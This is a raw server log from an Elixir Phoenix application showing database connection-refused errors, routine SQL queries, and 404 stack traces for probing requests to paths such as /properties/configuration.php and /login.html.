[Thu Sep  3 07:10:58.431000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.604.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:58.658000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.599.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:58.696000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:59.118000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.603.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:59.150000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.598.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:59.248000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:59.348000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.605.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:59.352000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:59.492000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.601.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:59.524000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.597.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:59.544000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:59.594000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:59.848000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.602.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:10:59.874000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:11:00.064000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:11:00.074000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.606.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:11:00.297000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:11:00.317000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:11:01.489000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:11:01.687000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.599.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:11:02.240000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.604.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:11:02.313000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:11:02.488000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.603.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:11:02.519000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.605.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:11:02.997000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:11:03.068000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.598.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:11:03.179000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:11:03.868000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.606.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:11:03.957000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.597.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:11:04.169000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.600.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:11:04.830000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:11:04.837000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.601.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:11:04.987000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:11:05.268000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:11:05.464000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.602.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:11:05.602000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:11:05.689000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:11:06.756000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:11:07.253000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:11:07.559000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.605.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:11:07.996000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:11:08.419000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.597.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 07:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=1.0ms idle=1442.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 07:26:24.707000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=1.0ms queue=0.5ms idle=1388.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 07:30:00.671000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=4.5ms idle=295.2ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 07:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 07:34:51.785000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 07:36:09.460000 2026] [Phoenix.Logger:info] [pid 2816631] [client 45.79.207.110:42554] GET /
[Thu Sep  3 07:36:09.460000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 45.79.207.110:42554] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:36:09.461000 2026] [Phoenix.Logger:info] [pid 2816631] [client 45.79.207.110:42554] Sent 200 in 940µs
[Thu Sep  3 07:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=1.2ms idle=1208.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 07:36:50.426000 2026] [Phoenix.Logger:info] [pid 2816631] [client 172.236.228.111:57052] GET /
[Thu Sep  3 07:36:50.426000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 172.236.228.111:57052] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:36:50.427000 2026] [Phoenix.Logger:info] [pid 2816631] [client 172.236.228.111:57052] Sent 200 in 785µs
[Thu Sep  3 07:40:38.235000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 07:40:43.660000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 07:40:59.246000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 07:41:04.548000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 07:41:09.810000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.HTTPError) Request line HTTP error: <<22, 3, 0, 0, 101, 1, 0, 0, 97, 3, 0, 160, 162, 185, 137, 139, 160, 250, 66, 55, 187, 218, 110, 66, 246, 198, 70, 233, 103, 122, 110, 79, 223, 6, 44, 101, 68, 231, 188, 176, 131, 142, 94, 0, 0, 58, 0, 57, 0, 56, ...>>
[Thu Sep  3 07:41:10.153000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 07:41:21.930000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 07:41:27.306000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.HTTPError) Request line HTTP error: <<22, 3, 0, 2, 107, 1, 0, 2, 103, 3, 0, 106, 153, 36, 167, 116, 50, 114, 117, 95, 118, 105, 67, 120, 49, 84, 67, 80, 72, 81, 118, 112, 88, 90, 79, 65, 88, 104, 90, 54, 74, 71, 109, 0, 2, 64, 0, 3, 192, 152, ...>>
[Thu Sep  3 07:41:33.717000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55880] GET /
[Thu Sep  3 07:41:33.717000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:55880] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:41:33.718000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55880] Sent 200 in 928µs
[Thu Sep  3 07:41:59.082000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 07:42:40.204000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.HTTPError) Invalid HTTP version: {0, 9}
[Thu Sep  3 07:43:15.697000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 07:43:19.066000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 07:43:23.398000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 07:43:31.858000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 07:43:48.270000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 07:45:36.962000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35838] GET /
[Thu Sep  3 07:45:36.963000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:35838] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:45:36.963000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35838] Sent 200 in 1ms
[Thu Sep  3 07:45:38.889000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35844] GET /
[Thu Sep  3 07:45:38.889000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:35844] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:45:38.890000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35844] Sent 200 in 1ms
[Thu Sep  3 07:45:42.425000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.HTTPError) Invalid HTTP version: {0, 9}
[Thu Sep  3 07:46:06.370000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53874] GET /
[Thu Sep  3 07:46:06.371000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:53874] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:46:06.372000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53874] Sent 200 in 1ms
[Thu Sep  3 07:46:07.565000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53882] GET /
[Thu Sep  3 07:46:07.565000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:53882] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:46:07.567000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53882] Sent 200 in 2ms
[Thu Sep  3 07:46:09.019000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53884] GET /aboutprinter.html
[Thu Sep  3 07:46:09.063000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53884] ** (Phoenix.Router.NoRouteError) no route found for GET /aboutprinter.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:46:09.826000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53894] GET /properties/configuration.php
[Thu Sep  3 07:46:09.848000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53894] ** (Phoenix.Router.NoRouteError) no route found for GET /properties/configuration.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:46:10.255000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53904] GET /properties/description.dhtml
[Thu Sep  3 07:46:10.276000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53904] ** (Phoenix.Router.NoRouteError) no route found for GET /properties/description.dhtml (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:46:11.095000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53914] GET /properties/configuration.php
[Thu Sep  3 07:46:11.125000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53914] ** (Phoenix.Router.NoRouteError) no route found for GET /properties/configuration.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:46:11.734000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53924] GET /header.php
[Thu Sep  3 07:46:11.763000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53924] ** (Phoenix.Router.NoRouteError) no route found for GET /header.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:46:21.894000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45034] GET /
[Thu Sep  3 07:46:21.895000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:45034] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:46:21.895000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45034] Sent 200 in 845µs
[Thu Sep  3 07:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.9ms idle=1116.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 07:46:26.271000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34130] GET /
[Thu Sep  3 07:46:26.271000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:34130] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:46:26.272000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34130] Sent 200 in 1ms
[Thu Sep  3 07:46:26.595000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34124] GET /
[Thu Sep  3 07:46:26.595000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:34124] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:46:26.595000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34124] Sent 200 in 810µs
[Thu Sep  3 07:46:39.519000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:39128] GET /login.html
[Thu Sep  3 07:46:39.537000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:39128] ** (Phoenix.Router.NoRouteError) no route found for GET /login.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

